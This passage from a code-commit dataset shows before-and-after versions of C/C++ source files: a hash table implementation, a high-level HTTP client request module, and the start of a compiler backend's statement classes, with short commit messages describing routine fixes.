(m_numSlots * 120 ) \/ 100  + 20;\n\t\tif ( ! setTableSize ( growTo , NULL , 0 ) ) return false;\n\t}\n        \/\/long n = ((unsigned long)key) % ((unsigned long)m_numSlots);\n        long n = ((unsigned long)key) & m_mask;\n        long count = 0;\n        while ( count++ < m_numSlots ) {\n                if ( m_keys [ n ] == 0   ) break;\n\t\tif ( m_keys [ n ] == key ) break;\n\t\tif ( ++n == m_numSlots ) n = 0;\n        }\n\t\/\/ bail if not found\n\tif ( count >= m_numSlots ) {\n\t\tg_errno = ENOMEM;\n\t\treturn log(\"hashtable: Could not add key. Table is full.\");\n\t}\n\tif ( m_keys [ n ] == 0 ) {\n\t\t\/\/ inc count if we're the first\n\t\tm_numSlotsUsed++;\n\t\t\/\/ and store the ky\n\t\tm_keys [ n ] = key;\n\t}\n\t\/\/ insert the value for this key\n\tm_vals [ n ] = value;\n\tif ( slot ) *slot = n;\n\treturn true;\n}\n\n\/\/ patch the hole so chaining still works\nbool HashTable::removeKey ( long key ) {\n\t\/\/ returns -1 if key not in hash table\n\tlong n = getOccupiedSlotNum(key);\n\tif ( n < 0 ) return true;\n\tm_keys[n] = 0;\n\tm_numSlotsUsed--;\n\tif ( ++n >= m_numSlots ) n = 0;\n\t\/\/ keep looping until we hit an empty slot\n\tlong val;\n\twhile ( m_keys[n] ) {\n\t\tkey = m_keys[n];\n\t\tval = m_vals[n];\n\t\tm_keys[n] = 0;\n\t\tm_numSlotsUsed--;\n\t\taddKey ( key , val );\n\t\tif ( ++n >= m_numSlots ) n = 0;\t\t\n\t}\n\treturn true;\n}\n\n\/\/ patch the hole so chaining still works\nvoid HashTable::removeSlot ( long n ) {\n\t\/\/ returns -1 if key not in hash table\n\t\/\/long n = getOccupiedSlotNum(key);\n\t\/\/if ( n < 0 ) return true;\n\tlong key = m_keys[n];\n\t\/\/ sanity check, must not be empty\n\tif ( key == 0 ) { char *xx = NULL; *xx = 0; }\n\t\/\/ delete it\n\tm_keys[n] = 0;\n\tm_numSlotsUsed--;\n\tif ( ++n >= m_numSlots ) n = 0;\n\t\/\/ keep looping until we hit an empty slot\n\tlong val;\n\twhile ( m_keys[n] ) {\n\t\tkey = m_keys[n];\n\t\tval = m_vals[n];\n\t\tm_keys[n] = 0;\n\t\tm_numSlotsUsed--;\n\t\taddKey ( key , val );\n\t\tif ( ++n >= m_numSlots ) n = 0;\t\t\n\t}\n}\n\n\/\/ . set table size to \"n\" slots\n\/\/ . rehashes the termId\/score pairs into new table\n\/\/ . returns false and sets errno on error\nbool HashTable::setTableSize ( long oldn , char *buf , long bufSize ) {\n\t\/\/ don't change size if we do not need to\n\tif ( oldn == m_numSlots ) return true;\n\t\/\/ make it a power of 2\n\tlong n = getHighestLitBitValue ( (unsigned long)oldn * 2 - 1 );\n\t\/\/ do not go negative on me\n\tif ( oldn == 0 ) n = 0;\n\t\/\/ sanity check\n\tif ( n < oldn ) { char *xx = NULL; *xx = 0; }\n\t\/\/ do we have a buf?\n\tlong need = 2 * n * sizeof(long);\n\t\/\/ sanity check, buf should also meet what we need\n\tif ( buf && bufSize < need ) { char *xx = NULL; *xx = 0; }\n\t\/\/ set the buf\n\tlong *newKeys ;\n\tlong *newVals ;\n\t\/\/ if we should not free note that\n\tbool savedDoFree = m_doFree ;\n\t\/\/ use our buf if we can\n\tif ( buf ) {\n\t\tm_doFree = false;\n\t\tbzero ( buf , need );\n\t\tnewKeys = (long *)buf;\n\t\tbuf += n * sizeof(long);\n\t\tnewVals = (long *)buf;\n\t\tbuf += n * sizeof(long);\n\t}\n\telse {\n\t\tm_doFree = true;\n\t\tnewKeys = (long *)mcalloc ( n * sizeof(long) , m_label);\n\t\tif ( ! newKeys ) return false;\n\t\tnewVals = (long *)mmalloc ( n * sizeof(long) , m_label);\n\t\tif ( ! newVals ) {\n\t\t\tmfree ( newKeys , n * sizeof(long) , m_label );\n\t\t\treturn false;\n\t\t}\n\t}\n\t\/\/ rehash the slots if we had some\n\tif ( m_keys ) {\n\t\tfor ( long i = 0 ; i < m_numSlots ; i++ ) {\n\t\t\t\/\/ skip the empty slots \n\t\t\tif ( m_keys [ i ] == 0 ) continue;\n\t\t\t\/\/ get the new slot # for this slot (might be the same)\n\t\t\t\/\/longnum=((unsigned long)m_keys[i])%((unsigned long)n)\n\t\t\tlong num=((unsigned long)m_keys[i])&\n\t\t\t\t((unsigned long)(n-1));\n\t\t\t\/\/ if that is occupied, go down\n\t\t\twhile ( newKeys[num] ) if ( ++num >= n ) num = 0;\n\t\t\t\/\/ move the slotPtr\/key\/size to this new slot\n\t\t\tnewKeys [ num ] = m_keys [ i ];\n\t\t\tnewVals [ num ] = m_vals [ i ];\n\t\t}\n\t}\n\t\/\/ free the old guys\n\tif ( m_keys && savedDoFree ) {\n\t\tmfree ( m_keys , m_numSlots * sizeof(long) , m_label );\n\t\tmfree ( m_vals , m_numSlots * sizeof(long) , m_label );\n\t}\n\t\/\/ assign the new slots, m_numSlotsUsed should be the same\n\tm_keys = newKeys;\n\tm_vals = newVals;\n\tm_numSlots = n;\n\tm_mask     = n - 1;\n\treturn true;\n}\n\n\/\/ both return false and set g_errno on error, true otherwise\nbool HashTable::load ( char *dir , char *filename ) {\n\treset();\n\tFile f;\n\tf.set ( dir , filename );\n\tif ( ! f.doesExist() ) return true;\n\tlog(LOG_INFO,\"admin: Loading hashtable from %s%s\",dir,filename);\n\tif ( ! f.open ( O_RDONLY) ) return false;\n\tlong numSlots;\n\tlong numSlotsUsed;\n\tlong off = 0;\n\tif ( ! f.read ( &numSlots     , 4 , off ) ) return false;\n\toff += 4;\n\tif ( ! f.read ( &numSlotsUsed , 4 , off ) ) return false;\n\toff += 4;\n\tif ( ! setTableSize ( numSlots , NULL , 0 ) ) return false;\n\tif ( ! f.read ( m_keys        , numSlots * 4 , off ) ) return false;\n\toff += numSlots * 4;\n\tif ( ! f.read ( m_vals        , numSlots * 4 , off ) ) return false;\n\toff += numSlots * 4;\n\tm_numSlotsUsed = numSlotsUsed;\n\tf.close();\n\treturn true;\n}\n\nbool HashTable::save ( char *dir , char *filename ) {\n\tFile f;\n\tf.set ( dir , filename );\n\tlog(LOG_INFO,\"admin: Saving hashtable from %s%s\",dir,filename);\n\tif ( ! f.open ( O_RDWR | O_CREAT ) ) return false;\n\tlong numSlots     = m_numSlots;\n\tlong numSlotsUsed = m_numSlotsUsed;\n\tlong off = 0;\n\tif ( ! f.write ( &numSlots     , 4 , off ) ) return false;\n\toff += 4;\n\tif ( ! f.write ( &numSlotsUsed , 4 , off ) ) return false;\n\toff += 4;\n\tif ( ! f.write ( m_keys        , numSlots * 4 , off ) ) return false;\n\toff += numSlots * 4;\n\tif ( ! f.write ( m_vals        , numSlots * 4 , off ) ) return false;\n\toff += numSlots * 4;\n\tf.close();\n\treturn true;\n}\n<commit_msg>fix core from last push.<commit_after>#include \"gb-include.h\"\n\n#include \"HashTable.h\"\n\nHashTable::HashTable () {\n\tm_keys = NULL;\n\tm_vals = NULL;\n\tm_numSlots     = 0;\n\tm_numSlotsUsed = 0;\n\tm_doFree       = true;\n\tm_label = NULL;\n}\n\n\/\/ returns false and sets errno on error\nbool HashTable::set ( long initialNumTerms , char *buf , long bufSize ,\n\t\t      char *label ) {\n\treset();\n\tm_label = label;\n\tif ( ! m_label ) m_label = \"hashtablekv\";\n\treturn setTableSize ( initialNumTerms , buf , bufSize );\n}\n\nHashTable::~HashTable ( ) { reset ( ); }\n\n\/\/ . call clean() to do a more careful reset\n\/\/ . clean will rehash\nvoid HashTable::reset ( ) {\n\tif ( m_doFree ) {\n\t\tif (m_keys) mfree(m_keys,m_numSlots*sizeof(long),\"hashtablev\");\n\t\tif (m_vals) mfree(m_vals,m_numSlots*sizeof(long),\"hashtablev\");\n\t}\n\tm_keys = NULL;\n\tm_vals = NULL;\n\tm_numSlots     = 0;\n\tm_numSlotsUsed = 0;\n\t\/\/ do not do this because then ::load() fails b\/c you can't\n\t\/\/ pass a label into that yet\n\t\/\/m_label = NULL;\n}\n\nvoid HashTable::clear ( ) {\n\t\/\/ vacate all slots\n\tif ( m_keys ) memset ( m_keys , 0 , sizeof(long) * m_numSlots );\n\tm_numSlotsUsed = 0;\n}\t \n\n\/\/ . returns the slot number for \"key\"\n\/\/ . returns -1 if key not in hash table\nlong HashTable::getOccupiedSlotNum ( long key ) {\n\tif ( m_numSlots <= 0 ) return -1;\n        \/\/long n = ((unsigned long)key) % ((unsigned long)m_numSlots);\n        long n = ((unsigned long)key) & m_mask;\n        long count = 0;\n        while ( count++ < m_numSlots ) {\n                if ( m_keys [ n ] == 0   ) return -1;\n\t\tif ( m_keys [ n ] == key ) return  n;\n\t\tif ( ++n == m_numSlots ) n = 0;\n        }\n        log(\"hashtable: Could not get key. Table is full.\");\n        return -1;\n}\n\n\/\/ return 0 if key not in hash table\nlong HashTable::getValue ( long key ) {\n\t\/\/ returns -1 if key not in hash table\n\tlong n = getOccupiedSlotNum ( key );\n\tif ( n < 0 ) return 0;\n\treturn m_vals[n];\n}\n\n\/\/ . returns false and sets errno on error, returns true otherwise\n\/\/ . adds scores if termId already exists in table\nbool HashTable::addKey ( long key , long value , long *slot ) {\n\t\/\/ keys of 0 mean empty! they are reserved... fix that!\n\tif ( key == 0 ) { char *xx=NULL; *xx=0; }\n\t\/\/ check to see if we should grow the table\n\tif ( 100 * m_numSlotsUsed >= m_numSlots * 90 ) {\n\t\tlong growTo = (m_numSlots * 120 ) \/ 100  + 20;\n\t\tif ( ! setTableSize ( growTo , NULL , 0 ) ) return false;\n\t}\n        \/\/long n = ((unsigned long)key) % ((unsigned long)m_numSlots);\n        long n = ((unsigned long)key) & m_mask;\n        long count = 0;\n        while ( count++ < m_numSlots ) {\n                if ( m_keys [ n ] == 0   ) break;\n\t\tif ( m_keys [ n ] == key ) break;\n\t\tif ( ++n == m_numSlots ) n = 0;\n        }\n\t\/\/ bail if not found\n\tif ( count >= m_numSlots ) {\n\t\tg_errno = ENOMEM;\n\t\treturn log(\"hashtable: Could not add key. Table is full.\");\n\t}\n\tif ( m_keys [ n ] == 0 ) {\n\t\t\/\/ inc count if we're the first\n\t\tm_numSlotsUsed++;\n\t\t\/\/ and store the ky\n\t\tm_keys [ n ] = key;\n\t}\n\t\/\/ insert the value for this key\n\tm_vals [ n ] = value;\n\tif ( slot ) *slot = n;\n\treturn true;\n}\n\n\/\/ patch the hole so chaining still works\nbool HashTable::removeKey ( long key ) {\n\t\/\/ returns -1 if key not in hash table\n\tlong n = getOccupiedSlotNum(key);\n\tif ( n < 0 ) return true;\n\tm_keys[n] = 0;\n\tm_numSlotsUsed--;\n\tif ( ++n >= m_numSlots ) n = 0;\n\t\/\/ keep looping until we hit an empty slot\n\tlong val;\n\twhile ( m_keys[n] ) {\n\t\tkey = m_keys[n];\n\t\tval = m_vals[n];\n\t\tm_keys[n] = 0;\n\t\tm_numSlotsUsed--;\n\t\taddKey ( key , val );\n\t\tif ( ++n >= m_numSlots ) n = 0;\t\t\n\t}\n\treturn true;\n}\n\n\/\/ patch the hole so chaining still works\nvoid HashTable::removeSlot ( long n ) {\n\t\/\/ returns -1 if key not in hash table\n\t\/\/long n = getOccupiedSlotNum(key);\n\t\/\/if ( n < 0 ) return true;\n\tlong key = m_keys[n];\n\t\/\/ sanity check, must not be empty\n\tif ( key == 0 ) { char *xx = NULL; *xx = 0; }\n\t\/\/ delete it\n\tm_keys[n] = 0;\n\tm_numSlotsUsed--;\n\tif ( ++n >= m_numSlots ) n = 0;\n\t\/\/ keep looping until we hit an empty slot\n\tlong val;\n\twhile ( m_keys[n] ) {\n\t\tkey = m_keys[n];\n\t\tval = m_vals[n];\n\t\tm_keys[n] = 0;\n\t\tm_numSlotsUsed--;\n\t\taddKey ( key , val );\n\t\tif ( ++n >= m_numSlots ) n = 0;\t\t\n\t}\n}\n\n\/\/ . set table size to \"n\" slots\n\/\/ . rehashes the termId\/score pairs into new table\n\/\/ . returns false and sets errno on error\nbool HashTable::setTableSize ( long oldn , char *buf , long bufSize ) {\n\t\/\/ don't change size if we do not need to\n\tif ( oldn == m_numSlots ) return true;\n\t\/\/ make it a power of 2\n\tlong n = getHighestLitBitValue ( (unsigned long)oldn * 2 - 1 );\n\t\/\/ do not go negative on me\n\tif ( oldn == 0 ) n = 0;\n\t\/\/ sanity check\n\tif ( n < oldn ) { char *xx = NULL; *xx = 0; }\n\t\/\/ do we have a buf?\n\tlong need = 2 * n * sizeof(long);\n\t\/\/ sanity check, buf should also meet what we need\n\tif ( buf && bufSize < need ) { char *xx = NULL; *xx = 0; }\n\t\/\/ set the buf\n\tlong *newKeys ;\n\tlong *newVals ;\n\t\/\/ if we should not free note that\n\tbool savedDoFree = m_doFree ;\n\t\/\/ use our buf if we can\n\tif ( buf ) {\n\t\tm_doFree = false;\n\t\tbzero ( buf , need );\n\t\tnewKeys = (long *)buf;\n\t\tbuf += n * sizeof(long);\n\t\tnewVals = (long *)buf;\n\t\tbuf += n * sizeof(long);\n\t}\n\telse {\n\t\tm_doFree = true;\n\t\tchar *label = m_label;\n\t\tif ( ! label ) label = \"hashtablev\";\n\t\tnewKeys = (long *)mcalloc ( n * sizeof(long) , label);\n\t\tif ( ! newKeys ) return false;\n\t\tnewVals = (long *)mmalloc ( n * sizeof(long) , label);\n\t\tif ( ! newVals ) {\n\t\t\tmfree ( newKeys , n * sizeof(long) , label );\n\t\t\treturn false;\n\t\t}\n\t}\n\t\/\/ rehash the slots if we had some\n\tif ( m_keys ) {\n\t\tfor ( long i = 0 ; i < m_numSlots ; i++ ) {\n\t\t\t\/\/ skip the empty slots \n\t\t\tif ( m_keys [ i ] == 0 ) continue;\n\t\t\t\/\/ get the new slot # for this slot (might be the same)\n\t\t\t\/\/longnum=((unsigned long)m_keys[i])%((unsigned long)n)\n\t\t\tlong num=((unsigned long)m_keys[i])&\n\t\t\t\t((unsigned long)(n-1));\n\t\t\t\/\/ if that is occupied, go down\n\t\t\twhile ( newKeys[num] ) if ( ++num >= n ) num = 0;\n\t\t\t\/\/ move the slotPtr\/key\/size to this new slot\n\t\t\tnewKeys [ num ] = m_keys [ i ];\n\t\t\tnewVals [ num ] = m_vals [ i ];\n\t\t}\n\t}\n\t\/\/ free the old guys\n\tif ( m_keys && savedDoFree ) {\n\t\tmfree ( m_keys , m_numSlots * sizeof(long) , \"hashtablev\" );\n\t\tmfree ( m_vals , m_numSlots * sizeof(long) , \"hashtablev\" );\n\t}\n\t\/\/ assign the new slots, m_numSlotsUsed should be the same\n\tm_keys = newKeys;\n\tm_vals = newVals;\n\tm_numSlots = n;\n\tm_mask     = n - 1;\n\treturn true;\n}\n\n\/\/ both return false and set g_errno on error, true otherwise\nbool HashTable::load ( char *dir , char *filename ) {\n\treset();\n\tFile f;\n\tf.set ( dir , filename );\n\tif ( ! f.doesExist() ) return true;\n\tlog(LOG_INFO,\"admin: Loading hashtable from %s%s\",dir,filename);\n\tif ( ! f.open ( O_RDONLY) ) return false;\n\tlong numSlots;\n\tlong numSlotsUsed;\n\tlong off = 0;\n\tif ( ! f.read ( &numSlots     , 4 , off ) ) return false;\n\toff += 4;\n\tif ( ! f.read ( &numSlotsUsed , 4 , off ) ) return false;\n\toff += 4;\n\tif ( ! setTableSize ( numSlots , NULL , 0 ) ) return false;\n\tif ( ! f.read ( m_keys        , numSlots * 4 , off ) ) return false;\n\toff += numSlots * 4;\n\tif ( ! f.read ( m_vals        , numSlots * 4 , off ) ) return false;\n\toff += numSlots * 4;\n\tm_numSlotsUsed = numSlotsUsed;\n\tf.close();\n\treturn true;\n}\n\nbool HashTable::save ( char *dir , char *filename ) {\n\tFile f;\n\tf.set ( dir , filename );\n\tlog(LOG_INFO,\"admin: Saving hashtable from %s%s\",dir,filename);\n\tif ( ! f.open ( O_RDWR | O_CREAT ) ) return false;\n\tlong numSlots     = m_numSlots;\n\tlong numSlotsUsed = m_numSlotsUsed;\n\tlong off = 0;\n\tif ( ! f.write ( &numSlots     , 4 , off ) ) return false;\n\toff += 4;\n\tif ( ! f.write ( &numSlotsUsed , 4 , off ) ) return false;\n\toff += 4;\n\tif ( ! f.write ( m_keys        , numSlots * 4 , off ) ) return false;\n\toff += numSlots * 4;\n\tif ( ! f.write ( m_vals        , numSlots * 4 , off ) ) return false;\n\toff += numSlots * 4;\n\tf.close();\n\treturn true;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * High level HTTP client.\n *\n * author: Max Kellermann <mk@cm4all.com>\n *\/\n\n#include \"http_request.hxx\"\n#include \"http_response.hxx\"\n#include \"http_client.hxx\"\n#include \"http_headers.hxx\"\n#include \"http_address.hxx\"\n#include \"header_writer.hxx\"\n#include \"tcp_stock.hxx\"\n#include \"tcp_balancer.hxx\"\n#include \"stock\/GetHandler.hxx\"\n#include \"stock\/Item.hxx\"\n#include \"stock\/Lease.hxx\"\n#include \"failure.hxx\"\n#include \"istream\/istream.hxx\"\n#include \"istream\/UnusedHoldPtr.hxx\"\n#include \"filtered_socket.hxx\"\n#include \"pool.hxx\"\n#include \"GException.hxx\"\n#include \"net\/SocketAddress.hxx\"\n#include \"util\/Cancellable.hxx\"\n\n#include <inline\/compiler.h>\n\n#include <string.h>\n\nstruct HttpRequest final\n    : Cancellable, StockGetHandler, HttpResponseHandler {\n\n    struct pool &pool;\n    EventLoop &event_loop;\n\n    TcpBalancer &tcp_balancer;\n\n    const unsigned session_sticky;\n\n    const SocketFilter *const filter;\n    SocketFilterFactory *const filter_factory;\n\n    StockItem *stock_item;\n    SocketAddress current_address;\n\n    const http_method_t method;\n    const HttpAddress &address;\n    HttpHeaders headers;\n    UnusedHoldIstreamPtr body;\n\n    unsigned retries;\n\n    HttpResponseHandler &handler;\n    CancellablePointer cancel_ptr;\n\n    HttpRequest(struct pool &_pool, EventLoop &_event_loop,\n                TcpBalancer &_tcp_balancer,\n                unsigned _session_sticky,\n                const SocketFilter *_filter,\n                SocketFilterFactory *_filter_factory,\n                http_method_t _method,\n                const HttpAddress &_address,\n                HttpHeaders &&_headers,\n                Istream *_body,\n                HttpResponseHandler &_handler,\n                CancellablePointer &_cancel_ptr)\n        :pool(_pool), event_loop(_event_loop), tcp_balancer(_tcp_balancer),\n         session_sticky(_session_sticky),\n         filter(_filter), filter_factory(_filter_factory),\n         method(_method), address(_address),\n         headers(std::move(_headers)), body(pool, _body),\n         \/* can only retry if there is no request body *\/\n         retries(_body != nullptr ? 2 : 0),\n         handler(_handler)\n    {\n        _cancel_ptr = *this;\n    }\n\n    void Destroy() {\n        DeleteFromPool(pool, this);\n    }\n\n    void BeginConnect() {\n        tcp_balancer_get(tcp_balancer, pool,\n                         false, SocketAddress::Null(),\n                         session_sticky,\n                         address.addresses,\n                         30,\n                         *this, cancel_ptr);\n    }\n\n    void Failed(GError *error) {\n        body.Clear();\n        handler.InvokeError(error);\n        Destroy();\n    }\n\n    \/* virtual methods from class Cancellable *\/\n    void Cancel() override {\n        body.Clear();\n        CancellablePointer c(std::move(cancel_ptr));\n        Destroy();\n        c.Cancel();\n    }\n\n    \/* virtual methods from class StockGetHandler *\/\n    void OnStockItemReady(StockItem &item) override;\n    void OnStockItemError(GError *error) override;\n\nprivate:\n    \/* virtual methods from class HttpResponseHandler *\/\n    void OnHttpResponse(http_status_t status, StringMap &&headers,\n                        Istream *body) override;\n    void OnHttpError(GError *error) override;\n};\n\n\/**\n * Is the specified error a server failure, that justifies\n * blacklisting the server for a while?\n *\/\nstatic bool\nis_server_failure(GError *error)\n{\n    return error->domain == http_client_quark() &&\n        error->code != HTTP_CLIENT_UNSPECIFIED;\n}\n\n\/*\n * HTTP response handler\n *\n *\/\n\nvoid\nHttpRequest::OnHttpResponse(http_status_t status, StringMap &&_headers,\n                            Istream *_body)\n{\n    failure_unset(current_address, FAILURE_RESPONSE);\n\n    handler.InvokeResponse(status, std::move(_headers), _body);\n    Destroy();\n}\n\nvoid\nHttpRequest::OnHttpError(GError *error)\n{\n    if (retries > 0 &&\n        error->domain == http_client_quark() &&\n        error->code == HTTP_CLIENT_REFUSED) {\n        \/* the server has closed the connection prematurely, maybe\n           because it didn't want to get any further requests on that\n           TCP connection.  Let's try again. *\/\n\n        g_error_free(error);\n\n        --retries;\n        BeginConnect();\n    } else {\n        if (is_server_failure(error))\n            failure_set(current_address, FAILURE_RESPONSE,\n                        std::chrono::seconds(20));\n\n        Failed(error);\n    }\n}\n\n\/*\n * stock callback\n *\n *\/\n\nvoid\nHttpRequest::OnStockItemReady(StockItem &item)\n{\n    stock_item = &item;\n    current_address = tcp_balancer_get_last();\n\n    void *filter_ctx = nullptr;\n    if (filter_factory != nullptr) {\n        try {\n            filter_ctx = filter_factory->CreateFilter();\n        } catch (const std::runtime_error &e) {\n            item.Put(false);\n            Failed(ToGError(e));\n            return;\n        }\n    }\n\n    auto *lease = NewFromPool<StockItemLease>(pool, item);\n\n    http_client_request(pool, event_loop,\n                        tcp_stock_item_get(item),\n                        tcp_stock_item_get_domain(item) == AF_LOCAL\n                        ? FdType::FD_SOCKET : FdType::FD_TCP,\n                        *lease,\n                        item.GetStockName(),\n                        filter, filter_ctx,\n                        method, address.path, std::move(headers),\n                        body.Steal(), true,\n                        *this, cancel_ptr);\n}\n\nvoid\nHttpRequest::OnStockItemError(GError *error)\n{\n    Failed(error);\n}\n\n\/*\n * constructor\n *\n *\/\n\nvoid\nhttp_request(struct pool &pool, EventLoop &event_loop,\n             TcpBalancer &tcp_balancer,\n             unsigned session_sticky,\n             const SocketFilter *filter, SocketFilterFactory *filter_factory,\n             http_method_t method,\n             const HttpAddress &uwa,\n             HttpHeaders &&headers,\n             Istream *body,\n             HttpResponseHandler &handler,\n             CancellablePointer &_cancel_ptr)\n{\n    assert(uwa.host_and_port != nullptr);\n    assert(uwa.path != nullptr);\n    assert(body == nullptr || !body->HasHandler());\n\n    auto hr = NewFromPool<HttpRequest>(pool, pool, event_loop, tcp_balancer,\n                                       session_sticky, filter, filter_factory,\n                                       method, uwa, std::move(headers), body,\n                                       handler, _cancel_ptr);\n\n    if (uwa.host_and_port != nullptr)\n        hr->headers.Write(\"host\", uwa.host_and_port);\n\n    hr->headers.Write(\"connection\", \"keep-alive\");\n\n    hr->BeginConnect();\n}\n<commit_msg>http_request: use tcp_stock_item_get_address()<commit_after>\/*\n * High level HTTP client.\n *\n * author: Max Kellermann <mk@cm4all.com>\n *\/\n\n#include \"http_request.hxx\"\n#include \"http_response.hxx\"\n#include \"http_client.hxx\"\n#include \"http_headers.hxx\"\n#include \"http_address.hxx\"\n#include \"header_writer.hxx\"\n#include \"tcp_stock.hxx\"\n#include \"tcp_balancer.hxx\"\n#include \"stock\/GetHandler.hxx\"\n#include \"stock\/Item.hxx\"\n#include \"stock\/Lease.hxx\"\n#include \"failure.hxx\"\n#include \"istream\/istream.hxx\"\n#include \"istream\/UnusedHoldPtr.hxx\"\n#include \"filtered_socket.hxx\"\n#include \"pool.hxx\"\n#include \"GException.hxx\"\n#include \"net\/SocketAddress.hxx\"\n#include \"util\/Cancellable.hxx\"\n\n#include <inline\/compiler.h>\n\n#include <string.h>\n\nstruct HttpRequest final\n    : Cancellable, StockGetHandler, HttpResponseHandler {\n\n    struct pool &pool;\n    EventLoop &event_loop;\n\n    TcpBalancer &tcp_balancer;\n\n    const unsigned session_sticky;\n\n    const SocketFilter *const filter;\n    SocketFilterFactory *const filter_factory;\n\n    StockItem *stock_item;\n\n    const http_method_t method;\n    const HttpAddress &address;\n    HttpHeaders headers;\n    UnusedHoldIstreamPtr body;\n\n    unsigned retries;\n\n    HttpResponseHandler &handler;\n    CancellablePointer cancel_ptr;\n\n    HttpRequest(struct pool &_pool, EventLoop &_event_loop,\n                TcpBalancer &_tcp_balancer,\n                unsigned _session_sticky,\n                const SocketFilter *_filter,\n                SocketFilterFactory *_filter_factory,\n                http_method_t _method,\n                const HttpAddress &_address,\n                HttpHeaders &&_headers,\n                Istream *_body,\n                HttpResponseHandler &_handler,\n                CancellablePointer &_cancel_ptr)\n        :pool(_pool), event_loop(_event_loop), tcp_balancer(_tcp_balancer),\n         session_sticky(_session_sticky),\n         filter(_filter), filter_factory(_filter_factory),\n         method(_method), address(_address),\n         headers(std::move(_headers)), body(pool, _body),\n         \/* can only retry if there is no request body *\/\n         retries(_body != nullptr ? 2 : 0),\n         handler(_handler)\n    {\n        _cancel_ptr = *this;\n    }\n\n    void Destroy() {\n        DeleteFromPool(pool, this);\n    }\n\n    void BeginConnect() {\n        tcp_balancer_get(tcp_balancer, pool,\n                         false, SocketAddress::Null(),\n                         session_sticky,\n                         address.addresses,\n                         30,\n                         *this, cancel_ptr);\n    }\n\n    void Failed(GError *error) {\n        body.Clear();\n        handler.InvokeError(error);\n        Destroy();\n    }\n\n    \/* virtual methods from class Cancellable *\/\n    void Cancel() override {\n        body.Clear();\n        CancellablePointer c(std::move(cancel_ptr));\n        Destroy();\n        c.Cancel();\n    }\n\n    \/* virtual methods from class StockGetHandler *\/\n    void OnStockItemReady(StockItem &item) override;\n    void OnStockItemError(GError *error) override;\n\nprivate:\n    \/* virtual methods from class HttpResponseHandler *\/\n    void OnHttpResponse(http_status_t status, StringMap &&headers,\n                        Istream *body) override;\n    void OnHttpError(GError *error) override;\n};\n\n\/**\n * Is the specified error a server failure, that justifies\n * blacklisting the server for a while?\n *\/\nstatic bool\nis_server_failure(GError *error)\n{\n    return error->domain == http_client_quark() &&\n        error->code != HTTP_CLIENT_UNSPECIFIED;\n}\n\n\/*\n * HTTP response handler\n *\n *\/\n\nvoid\nHttpRequest::OnHttpResponse(http_status_t status, StringMap &&_headers,\n                            Istream *_body)\n{\n    failure_unset(tcp_stock_item_get_address(*stock_item), FAILURE_RESPONSE);\n\n    handler.InvokeResponse(status, std::move(_headers), _body);\n    Destroy();\n}\n\nvoid\nHttpRequest::OnHttpError(GError *error)\n{\n    if (retries > 0 &&\n        error->domain == http_client_quark() &&\n        error->code == HTTP_CLIENT_REFUSED) {\n        \/* the server has closed the connection prematurely, maybe\n           because it didn't want to get any further requests on that\n           TCP connection.  Let's try again. *\/\n\n        g_error_free(error);\n\n        --retries;\n        BeginConnect();\n    } else {\n        if (is_server_failure(error))\n            failure_set(tcp_stock_item_get_address(*stock_item),\n                        FAILURE_RESPONSE,\n                        std::chrono::seconds(20));\n\n        Failed(error);\n    }\n}\n\n\/*\n * stock callback\n *\n *\/\n\nvoid\nHttpRequest::OnStockItemReady(StockItem &item)\n{\n    stock_item = &item;\n\n    void *filter_ctx = nullptr;\n    if (filter_factory != nullptr) {\n        try {\n            filter_ctx = filter_factory->CreateFilter();\n        } catch (const std::runtime_error &e) {\n            item.Put(false);\n            Failed(ToGError(e));\n            return;\n        }\n    }\n\n    auto *lease = NewFromPool<StockItemLease>(pool, item);\n\n    http_client_request(pool, event_loop,\n                        tcp_stock_item_get(item),\n                        tcp_stock_item_get_domain(item) == AF_LOCAL\n                        ? FdType::FD_SOCKET : FdType::FD_TCP,\n                        *lease,\n                        item.GetStockName(),\n                        filter, filter_ctx,\n                        method, address.path, std::move(headers),\n                        body.Steal(), true,\n                        *this, cancel_ptr);\n}\n\nvoid\nHttpRequest::OnStockItemError(GError *error)\n{\n    Failed(error);\n}\n\n\/*\n * constructor\n *\n *\/\n\nvoid\nhttp_request(struct pool &pool, EventLoop &event_loop,\n             TcpBalancer &tcp_balancer,\n             unsigned session_sticky,\n             const SocketFilter *filter, SocketFilterFactory *filter_factory,\n             http_method_t method,\n             const HttpAddress &uwa,\n             HttpHeaders &&headers,\n             Istream *body,\n             HttpResponseHandler &handler,\n             CancellablePointer &_cancel_ptr)\n{\n    assert(uwa.host_and_port != nullptr);\n    assert(uwa.path != nullptr);\n    assert(body == nullptr || !body->HasHandler());\n\n    auto hr = NewFromPool<HttpRequest>(pool, pool, event_loop, tcp_balancer,\n                                       session_sticky, filter, filter_factory,\n                                       method, uwa, std::move(headers), body,\n                                       handler, _cancel_ptr);\n\n    if (uwa.host_and_port != nullptr)\n        hr->headers.Write(\"host\", uwa.host_and_port);\n\n    hr->headers.Write(\"connection\", \"keep-alive\");\n\n    hr->BeginConnect();\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"statement.hpp\"\nnamespace backend {\n\nret::ret(const std::shared_ptr<expression> &val)\n    : statement(*this),\n      m_val(val) {}\n\nconst expression& ret::val(void) const {\n    return *m_val;\n}\n\nbind::bind(const std::shared_ptr<expression> &lhs,\n           const std::shared_ptr<expression> &rhs)\n    : statement(*this),\n      m_lhs(lhs), m_rhs(rhs) {}\n\nconst expression& bind::lhs(void) const {\n    return *m_lhs;\n}\nconst expression& bind::rhs(void) const {\n    return *m_rhs;\n}\n\ncall::call(const std::shared_ptr<apply> &n)\n    : statement(*this), m_sub(n) {}\n\nconst apply& call::sub(void) const {\n    return *m_sub;\n}\n        \n\nprocedure::procedure(const std::shared_ptr<name> &id,\n                     const std::shared_ptr<tuple> &args,\n                     const std::shared_ptr<suite> &stmts,\n                     const std::shared_ptr<type_t> &type,\n                     const std::shared_ptr<ctype::type_t> &ctype,\n                     const std::string &place)\n        : statement(*this),\n          m_id(id), m_args(args), m_stmts(stmts), m_type(type),\n          m_ctype(ctype), m_place(place) {}\n\nconst name& procedure::id(void) const {\n    return *m_id;\n}\n\nconst tuple& procedure::args(void) const {\n    return *m_args;\n}\n\nconst suite& procedure::stmts(void) const {\n    return *m_stmts;\n}\nconst type_t& procedure::type(void) const {\n    return *m_type;\n}\nconst ctype::type_t& procedure::ctype(void) const {\n    return *m_ctype;\n}\n\nconst std::string& procedure::place(void) const {\n    return m_place;\n}\n\nconditional::conditional(std::shared_ptr<expression> cond,\n                         std::shared_ptr<suite> then,\n                         std::shared_ptr<suite> orelse)\n    : statement(*this), m_cond(cond),\n      